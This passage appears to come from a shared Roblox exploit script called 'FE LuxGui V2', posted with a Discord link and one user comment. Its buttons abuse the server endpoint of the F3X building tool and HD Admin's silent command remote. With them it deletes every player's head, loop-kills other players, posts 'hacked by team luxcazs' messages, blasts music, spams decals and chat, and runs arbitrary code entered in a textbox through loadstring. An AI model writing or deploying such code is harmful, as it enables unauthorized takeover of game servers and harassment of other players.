					AddDecal(v,id,Enum.NormalId.Front)

					SpawnDecal(v,Enum.NormalId.Back)
					AddDecal(v,id,Enum.NormalId.Back)

					SpawnDecal(v,Enum.NormalId.Right)
					AddDecal(v,id,Enum.NormalId.Right)

					SpawnDecal(v,Enum.NormalId.Left)
					AddDecal(v,id,Enum.NormalId.Left)

					SpawnDecal(v,Enum.NormalId.Bottom)
					AddDecal(v,id,Enum.NormalId.Bottom)

					SpawnDecal(v,Enum.NormalId.Top)
					AddDecal(v,id,Enum.NormalId.Top)
				end)
			end
		end 
	end
	spam("125635013283484")
		

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(":music 79793520142943")
		RequestCommand:InvokeServer(":volume 100")


	end)

	end)
UICorner_3A.Parent = Jhondoe

TextButton_3A.Parent = Page3
TextButton_3A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3A.BorderSizePixel = 0
TextButton_3A.Size = UDim2.new(0, 90, 0, 38)
TextButton_3A.Font = Enum.Font.SourceSans
TextButton_3A.Text = "Spam chat"
TextButton_3A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3A.TextScaled = true
TextButton_3A.TextSize = 14.000
TextButton_3A.TextWrapped = true
TextButton_3A.MouseButton1Click:Connect(function()
	local TextChatService = game:GetService("TextChatService")

	local function SendChatMessage(message)
		if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
			local textChannel = TextChatService.TextChannels.RBXGeneral
			textChannel:SendAsync(message)
		else
			game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, "All")
		end
	end
	SendChatMessage("Luxcazs is cool")
end)

UICorner_4A.Parent = TextButton_3A

TextButton_4A.Parent = Page3
TextButton_4A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_4A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4A.BorderSizePixel = 0
TextButton_4A.Size = UDim2.new(0, 90, 0, 38)
TextButton_4A.Font = Enum.Font.SourceSans
TextButton_4A.Text = "Kill All"
TextButton_4A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4A.TextScaled = true
TextButton_4A.TextSize = 14.000
TextButton_4A.TextWrapped = true
TextButton_4A.MouseButton1Click:Connect(function()

	local player = game.Players.LocalPlayer
	local char = player.Character
	local tool
	for i,v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for i,v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	--craaa
	remote = tool.SyncAPI.ServerEndpoint
	function _(args)
		remote:InvokeServer(unpack(args))
	end
	function SetCollision(part,boolean)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = boolean
				}
			}
		}
		_(args)
	end
	function SetAnchor(boolean,part)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		_(args)
	end
	function CreatePart(cf,parent)
		local args = {
			[1] = "CreatePart",
			[2] = "Normal",
			[3] = cf,
			[4] = parent
		}
		_(args)
	end
	function DestroyPart(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		_(args)
	end
	function MovePart(part,cf)
		local args = {
			[1] = "SyncMove",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf
				}
			}
		}
		_(args)
	end
	function Resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		_(args)
	end
	function AddMesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		_(args)
	end

	function SetMesh(part,meshid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..meshid
				}
			}
		}
		_(args)
	end
	function SetTexture(part, texid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] = "rbxassetid://"..texid
				}
			}
		}
		_(args)
	end
	function SetName(part, stringg)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = workspace.Part
			},
			[3] = stringg
		}

		_(args)
	end
	function MeshResize(part,size)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = size
				}
			}
		}
		_(args)
	end
	function Weld(part1, part2,lead)
		local args = {
			[1] = "CreateWelds",
			[2] = {
				[1] = part1,
				[2] = part2
			},
			[3] = lead
		}
		_(args)

	end
	function SetLocked(part,boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		_(args)
	end
	function SetTrans(part,int)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = int
				}
			}
		}
		_(args)
	end
	function CreateSpotlight(part)
		local args = {
			[1] = "CreateLights",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight"
				}
			}
		}
		_(args)
	end
	function SyncLighting(part,brightness)
		local args = {
			[1] = "SyncLighting",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight",
					["Brightness"] = brightness
				}
			}
		}
		_(args)
	end

	function KillAll()
		for i,v in game.Players:GetPlayers() do
			spawn(function()
				SetLocked(v.Character.Head,false)
				DestroyPart(v.Character.Head)
			end)
		end
	end
	KillAll()
end)



UICorner_6A.Parent = TextButton_4A

TextButton_6A.Parent = Page3
TextButton_6A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_6A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6A.BorderSizePixel = 0
TextButton_6A.Size = UDim2.new(0, 90, 0, 38)
TextButton_6A.Font = Enum.Font.SourceSans
TextButton_6A.Text = "Music Theme"
TextButton_6A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6A.TextScaled = true
TextButton_6A.TextSize = 14.000
TextButton_6A.TextWrapped = true
TextButton_6A.MouseButton1Click:Connect(function()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer(":music 884403964295135")
	RequestCommand:InvokeServer(":volume 999")


end)

UICorner_7A.Parent = TextButton_6A

TextButton_7A.Parent = Page3
TextButton_7A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_7A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7A.BorderSizePixel = 0
TextButton_7A.Size = UDim2.new(0, 90, 0, 38)
TextButton_7A.Font = Enum.Font.SourceSans
TextButton_7A.Text = "Fly f3X"
TextButton_7A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7A.TextScaled = true
TextButton_7A.TextSize = 14.000
TextButton_7A.TextWrapped = true
TextButton_7A.MouseButton1Click:Connect(function()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer(":fly")


end)

UICorner_8A.Parent = TextButton_7A

TextButton_8A.Parent = Page3
TextButton_8A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_8A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8A.BorderSizePixel = 0
TextButton_8A.Size = UDim2.new(0, 90, 0, 38)
TextButton_8A.Font = Enum.Font.SourceSans
TextButton_8A.Text = "Message"
TextButton_8A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8A.TextScaled = true
TextButton_8A.TextSize = 14.000
TextButton_8A.TextWrapped = true
TextButton_8A.MouseButton1Click:Connect(function()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

	RequestCommand:InvokeServer(":mb hacked by team luxcazs")



end)

UICorner_9A.Parent = TextButton_8A

TextButton_9A.Parent = Page3
TextButton_9A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_9A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_9A.BorderSizePixel = 0
TextButton_9A.Size = UDim2.new(0, 90, 0, 38)
TextButton_9A.Font = Enum.Font.SourceSans
TextButton_9A.Text = "Loopkill others"
TextButton_9A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_9A.TextScaled = true
TextButton_9A.TextSize = 14.000
TextButton_9A.TextWrapped = true
TextButton_9A.MouseButton1Click:Connect(function()
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

	RequestCommand:InvokeServer(":loopkill others")




end)

UICorner_10A.Parent = TextButton_9A

TextButton_10A.Parent = Page3
TextButton_10A.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_10A.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10A.BorderSizePixel = 0
TextButton_10A.Size = UDim2.new(0, 90, 0, 38)
TextButton_10A.Font = Enum.Font.SourceSans
TextButton_10A.Text = "Unloopkilling other"
TextButton_10A.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10A.TextScaled = true
TextButton_10A.TextSize = 14.000
TextButton_10A.TextWrapped = true
TextButton_10A.MouseButton1Click:Connect(function()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer(":re others")


end)





UICorner_11A.Parent = TextButton_10A


TextButton_10A1.Parent = Page3
TextButton_10A1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_10A1.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10A1.BorderSizePixel = 0
TextButton_10A1.Size = UDim2.new(0, 90, 0, 38)
TextButton_10A1.Font = Enum.Font.SourceSans
TextButton_10A1.Text = "Give btools"
TextButton_10A1.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_10A1.TextScaled = true
TextButton_10A1.TextSize = 14.000
TextButton_10A1.TextWrapped = true
TextButton_10A1.MouseButton1Click:Connect(function()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer(":btools")


end)





UICorner_11A1.Parent = TextButton_10A1

-- Scripts:

local function BHGYLG_fake_script() -- TextButton.s 
	local script = Instance.new('LocalScript', TextButton)

	script.Parent.MouseButton1Click:connect(function()
		script.Parent.Parent.Parent.FrameLux.Visible = not script.Parent.Parent.Parent.FrameLux.Visible
	end)

end
coroutine.wrap(BHGYLG_fake_script)()
local function RBSW_fake_script() -- TextButton_2.LocalScript 
	local script = Instance.new('LocalScript', TextButton_2)

	local Frame = script.Parent.Parent.Parent.Parent.FrameDragWorldboy

	script.Parent.MouseButton1Click:Connect(function()
		Frame.Visible = false
	end)
end
coroutine.wrap(RBSW_fake_script)()
local function ZOND_fake_script() -- TextButton_27.LocalScript 
	local script = Instance.new('LocalScript', TextButton_27)

	script.Parent.MouseButton1Down:Connect(function()
		if script.Parent.Parent.Page1.Visible == true then
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = true
		elseif script.Parent.Parent.Page3.Visible == true then
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page2.Visible = true
		elseif script.Parent.Parent.Page2.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = true

		end

	end)
end
coroutine.wrap(ZOND_fake_script)()
local function IDFCG_fake_script() -- TextButton_28.LocalScript 
	local script = Instance.new('LocalScript', TextButton_28)

	script.Parent.MouseButton1Down:Connect(function()
		if script.Parent.Parent.Page1.Visible == true then
			script.Parent.Parent.Page1.Visible = false
			script.Parent.Parent.Page3.Visible = true
		elseif script.Parent.Parent.Page3.Visible == true then
			script.Parent.Parent.Page3.Visible = false
			script.Parent.Parent.Page2.Visible = true
		elseif script.Parent.Parent.Page2.Visible == true then
			script.Parent.Parent.Page2.Visible = false
			script.Parent.Parent.Page1.Visible = true

		end

	end)
end


coroutine.wrap(IDFCG_fake_script)()
local function ECISYQ_fake_script() -- TextButton_29.LocalScript 
	local script = Instance.new('LocalScript', TextButton_29)

	script.Parent.MouseButton1Click:Connect(function()
		loadstring(script.Parent.Parent.TextBox.Text)()
	end)
end
coroutine.wrap(ECISYQ_fake_script)()
local function OTTU_fake_script() -- FrameDragWorldboy.Dragify 
	local script = Instance.new('LocalScript', FrameDragWorldboy)

	local UIS = game:GetService("UserInputService")
	function dragify(Frame)
		dragToggle = nil
		local dragSpeed = 0
		dragInput = nil
		dragStart = nil
		local dragPos = nil
		function updateInput(input)
			local Delta = input.Position - dragStart
			local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
			game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.25), {Position = Position}):Play()
		end
		Frame.InputBegan:Connect(function(input)
			if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then
				dragToggle = true
				dragStart = input.Position
				startPos = Frame.Position
				input.Changed:Connect(function()
					if input.UserInputState == Enum.UserInputState.End then
						dragToggle = false
					end
				end)
			end
		end)
		Frame.InputChanged:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
				dragInput = input
			end
		end)
		game:GetService("UserInputService").InputChanged:Connect(function(input)
			if input == dragInput and dragToggle then
				updateInput(input)
			end
		end)
	end

	dragify(script.Parent)
end
coroutine.wrap(OTTU_fake_script)()

local function luxaz1()
	local script = Instance.new('LocalScript', S)

	game.StarterGui:SetCore("SendNotification", {
		Title = "Welcome to LuxGui Script"; 
		Text = "Obama prime attack the earth"; 
		Icon = "http://www.roblox.com/asset/?id=84962281042912"; 
		Duration = "6"; 
	})
end

coroutine.wrap(luxaz1)()

local TextChatService = game:GetService("TextChatService")

local function SendChatMessage(message)
	if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
		local textChannel = TextChatService.TextChannels.RBXGeneral
		textChannel:SendAsync(message)
	else
		game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, "All")
	end
end
	SendChatMessage("Welcome to FE LuxGui V2 !")

Features & Information

https://discord.gg/mdYMGsrtUR

Community Comments (1)

BetterCallPaulBetterCallPaulAug 10, 2025

dawg what is Jhone doe

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